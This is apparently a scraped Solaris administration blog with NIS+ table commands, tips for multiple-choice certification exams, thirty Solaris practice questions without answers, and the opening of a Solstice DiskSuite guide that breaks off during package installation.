Adding / removing a user dir entry in auto_home table :

#nistbladm -a key=john value=10.20.30.40:/home/john
auto_home.org_dir
#nistbladm -r key=john auto_home.org_dir ;If key is not
unique then more fields needs to be defined .

Removing a user

#nistbladm -r name=john passwd.org_dir

Modifying the tables for multiple
entries.

#nisaddent -d passwd > /tmp/passwd ;Dump the
table to a file
#vi /tmp/passwd ;Edit the dumped file
# nisaddent -r -f /tmp/passwd passwd ;Put back
the dumped file.

nisaddent command is available only for some of the
standard tables, for others either nispopulate or nistbladm has to
be used .

Sun Certification FAQs

admin — Tue, 29 Dec 2009 22:01:52 +0000

Strategy for Multiple Choice Certification Exams

admin — Tue, 29 Dec 2009 21:58:40 +0000

Basics

Take the list of exam objective and study carefully its
scope
Organize your study keeping these objectives in mind.

You may be knowing theoretical or practical much and is confident but
still you need to check up the objectives carefully so that you do not
miss anything in your study. This will narrow down your focus area to
individual topic or subtopic.

Study material

Once you know the topics look around you for the study material.
Generally the official web sites will have most of the
documentations and some commercially available books specifically
written for the purpose of exams are also available . But always try to
refer to two – three different sources as this gives a more
clear view of a topic and makes understanding clear.

How to study

We have been taking the exams since the school days and people have
developed their own style of study .some like to study in the day
time others in the night still others like a background music while
studying . Whatever may be your style stick to it but keep in mind
that in multiple choice questions you have to be exact and should be
able to differentiate between very similar answers.

You must have a peaceful place of study without any
distraction so that you can read between the lines . A distracted
study results in surfing the text – missing the key points.
Understand and visualize the process as whole – this will help
in addressing to practical problems in real environment as
well as some unsuspecting questions .
Note down important point - note down important point
while reading look for something which is not obvious and
different from the rest .
Try to recollect these point later - This will give an idea
of your preparation and helpful in revising later on .

In the exam

In multiple choice type questions there is one advantage
– answers are already there and one has to simply choose the
correct one but the problem is each answer looks
like correct one .So until your concepts are very clear it is
very likely that wrong answer is selected .But no one is
perfect so you will have to think a bit if you don’t
know the answer to a question . Since the answers are already there
you can start eliminating the incorrect answers by using your
knowledge and some logical thinking .

One common mistake is to select the first obvious looking answers
without checking the other options so always examine all the
options , think & choose the right answer .

It is always better to pass the questions ,of which your are not
sure, & come back there are few advantages for this

You avoid the tension and frustration of a suspected answer
which could affect the rest of answers.
You are able to use the time thus saved to answer the questions
you know
The solution may come to your mind till the time you come
back again
The later part of the questions may contains some clues to
the answers .

Time management in the exam

Generally the time is sufficient to answer all the questions but
if too much time is wasted on a few questions then it becomes
difficult . The best strategy would be to pass the difficult
question after carefully reading and attempt to them later.

Making it second time

If you can’t make it in first attempt – Prepare for the
second attempt , stay calm and focused . Don’t feel over confident
that it will be a piece of cake next time .If you can
recollect and write down the questions asked in the exam it will
help you in providing a focused area of study .

Sample Question – Solaris Certification

admin — Tue, 29 Dec 2009 21:52:03 +0000

Sample Question – Solaris Certification
Following are some sample questions . These are some of the representative questions and is meant to demonstrate the type of question you might expect in Solaris Certification examination and plan your study accordingly. No answers are given out of the belief that anyone preparing for the exam should be able to work it out .

Choose all the correct answers.

1) In Solaris how many disk slices a disk can have ?

a) 8 b) 7 c) 6 d)1

2)Which file is used to set the default mask in Solaris ?

a)/etc/profile b) .profile c) /etc/system d) /etc/inittab

3)What are the advantage for making disk partitions ?

a) Easy to maintain b) Easy for backing up
c) Limits problems to one partition only d) Space can be monitored easily.

4 )What does a + sign in /etc/hosts.equiv indicates ?

a) All hosts are allowed b) Only known hosts are allowed c) All users are allowed d) Unknown hosts are also allowed .

5 )Which command is used to mount local file system ?

a) mount -l b) mountall c) mount d) mount -r

6) Which command line option gives a run level and output headings ?

a) who -b b) who -r c) who -rh d) who -rH

7) which command is used to change the auto-boot feature in sun ultra ?

a) eeprom “auto-boot?”=true b) eeprom auto-boot?=true c) eeprom autoboot? true d) eeprom auto-boot = true ..

8 ) If patch id is 123456-10 then its revision number is -

a)123 b)456 c)10 d)6-10

9)Which commands can be used to make a device alias

a) devalias ay OK prompt b) dvalias at root prompt
c) nvram at ok prompt d) drvconfig at root prompt.

10) Where in Solaris encrypted passwords are stored ?

a) /etc/passwd b) /etc/shadow c)/etc/default/passswd d)/etc/initttab

11) What is required in a diskless workstation for Solaris workstation

a) cpu, monitor, keyboard, hard disk b) cpu, monitor, keyboard, cdrom drive
c) cpu, monitor, keyboard, Ethernet card d) cpu and Ethernet card only.

12)Which of the following points to virtual file system ?

a) /dev/dsk/c0t0d0s3 b) /dev/rdsk/c0t0d0s3
c) /dev/md/dsk/c0t0d0s3 d) /dev/vx/rdsk/data/vol1

13) Which Solaris command is used to correct filesystem problems?.

a) newfs b) fssck c) mkfs d) format

14) Which is the configuration file for the tip command

a)/etc/tip.conf b) /etc/remote c) /etc/inittab.d d) .profile

15) When automounter daemon needs to be restarted ?.

a) When direct map is changes b) When indirect map is changes
c) No need to restart d) When a new user is created

16) What is the default configuration cluster in Solaris installation ?.

a) Developer b) Core c) End user d) Entire Distriidution

17) Which utility is used to administer the port monitor ?

a)sacadm b) pmadm c) ttyadm d) admintool

18) What is the command to assign a ip address to qfe network interface ?

Write the command ……………………………………..

19) 10 30 * * 4 /usr/bin/loginfo entry in crontab will execute the program

a) Every Friday at 10.30 b) Every Thursday at 10.30
c) Every Saturday 10.30 d) Every Wednesday at 10.30

20) What do you need for a fresh Solaris Installation ?.

a) Host Name b) IP Address c) Net mask d) Domain name

21) How can you see the prom version ?

a) show version b) prom c) banner d) version

22) Which file enables you to disable root login on terminals ?.

a) /etc/profile b) .profile
c) /etc/default/login d) /etc/system

23 ) Which directory contain run level control scripts ?.

a) /etc/rc2.d b) /etc/init.d c) /etc/rc3.d d) /usr/bin

24) Which command show the patch installed in the system ?

a) patchadd -p b) showrev -p c) showpatch d) patchlist

25) What are the advantage of having a virtual file system ?.

a) Large capacity volumes b) Increased File system size
c) Performance enhancement d) backup becomes easy

26) Which file is used to define default run level for init process at booting time ?.

a) /etc/ttyyab b) /etc//ttyadm
c) /etc/inittab d) /etc/profile

27) Which command shows kernel parameters and and driver module information ?.

a) sysconfig b) prtconfig
c) dmesg d) prtconf

28) A multiuser operating system is one – in which

a) Many users can work simultaneously b) Many Processes can work simultaneously
c) A large number of users can be created d) A number of user home directories can be created.

29) What is true about software packages ?.

a) It is group of files & directories b) They are grouped to form clusters

c) It is standard way of delivering software in Solaris d) They can be installed using pkgadd command.

30)What type of names are used for administering disk drives in Solaris environment

a) Physical b) Logical c) Virtual d) disk instance

Solstice DiskSuite – Admin’s Guide

admin — Tue, 29 Dec 2009 21:17:20 +0000

**Table of Contents**
1.Advantages of Disksuite 2. Disksuite terms 3. Disksuite Packages 4. Installing DiskSuite 4.2.1 in Solaris 8 5. Creating State Database 6. Creating MetaDevices 6.1. Concatenated Metadevice 6.2. Striped Metadevice 6.3 Mirrored Metadevice 6.3.1 Simple mirror 6.3.2 Mirroring a unmountable Partition 6.3.3 root mirroring & /usr mirroring 6.3.4 Making alternate root disk bootable 6.3.5 Setting alternate boot path for root mirror 6.4 RAID 5	6.5 TransMeta Device 6.5.1 TransMeta device for unmountable partition 6.5.2 TransMeta device for non unmountable partition. 6.5.3 TransMeta device using Mirror 6.6 Hotspare Pool 6.6.1 Adding a Hotspare to Mirror 6.6.2 Adding a Hotspare to RAID5 6.6.3 Adding a disk to Hotspare Pool. 6.7 disksets 6.7.1 Creating two diskset 6.7.2 Adding disk to diskset 6.7.3 Creating Mirror in Diskset 7. TroubleShooting 7.1) Recovering from Stale State Database replicas 7.2) Metadevice Errors

1. Advantages of Disksuite

Solstice disk suite provides three major functionalities :

1. Over come the disk size limitation by providing for joining of
multiple disk slices to form a bigger volume.

2. Fault Tolerance by allowing mirroring of data from one disk to another
and keeping parity
information in RAID5.

3. Performance enhancement by allowing spreading the data space over
multiple disks .

2. Disksuite terms

Metadevice :A virtual device composed of several physical devices -
slices/disks . All the operations are carried out using metadevice
name and transparently implemented on the individual device.

RAID : A group of disks used for creating a virtual volume is called array and
depending on disk/slice arrangement these are called various types of RAID
(Redundant Array of Independent Disk ).

RAID 0 Concatenation/Striping

RAID 1 Mirroring

RAID 5 Striped array with rotating parity.

Concatenation :Concatenation is joining of two or more disk slices to add up the disk space
. Concatenation is serial in nature i.e. sequential data operation are performed
serially on first disk then second disk and so on . Due to serial nature new
slices can be added up without having to take the backup of entire concatenated
volume ,adding slice and restoring backup .

Striping :Spreading of data over multiple disk drives mainly to enhance the performance
by distributing data in alternating chunks – 16 k interleave across the stripes
. Sequential data operations are performed in parallel on all the stripes by
reading/writing 16k data blocks alternatively form the disk stripes.

Mirroring : Mirroring provides data redundancy by simultaneously writing data on to two
sub mirrors of a mirrored device . A submirror can be a stripe or concatenated
volume and a mirror can have three mirrors . Main concern here is that a mirror
needs as much as the volume to be mirrored.

RAID 5 : RAID 5 provides data redundancy and advantage of striping and uses less space
than mirroring . A RAID 5 is made up of at least three disk which are striped
with parity information written alternately on all the disks . In case of a
single disk failure the data can be rebuild using the parity information from
the remaining disks .

3. Disksuite Packages :

Solstice disk suite is a part of server edition of the Solaris OS and is not
included with desktop edition . The software is in pkgadd format & can be
found in following locations in CD :

Solaris 2.6 – “Solaris Server Intranet Extensions 1.0” CD.

Solaris 7 – “Solaris Easy Access Server 3.0”

Solaris 8 – “Solaris 8 Software 2 of 2”

Solaris 2.6 & 2.7 Solstice Disk suite version is 4.2 . Following packages are part of it but only the "SUNWmd" is the
minimum required package and a patch.

SUNWmd – Solstice DiskSuite

SUNWmdg – Solstice DiskSuite Tool

SUNWmdn – Solstice DiskSuite Log Daemon

Patch No. 106627-04 (obtain latest revision)

Solaris 8 DiskSuite version is 4.2.1 .Following are the minimum required packages ..

SUNWmdr Solstice DiskSuite Drivers (root)

SUNWmdu Solstice DiskSuite Commands

SUNWmdx Solstice DiskSuite Drivers (64-bit)

4. Installing DiskSuite 4.2.1 in Solaris 8

# cd /cdrom/sol_8_401_sparc_2/Solaris_8/EA/products/DiskSuite_4.2.1/sparc/Packages

# pkgadd -d .

The following packages are available:

1 SUNWmdg Solstice DiskSuite Tool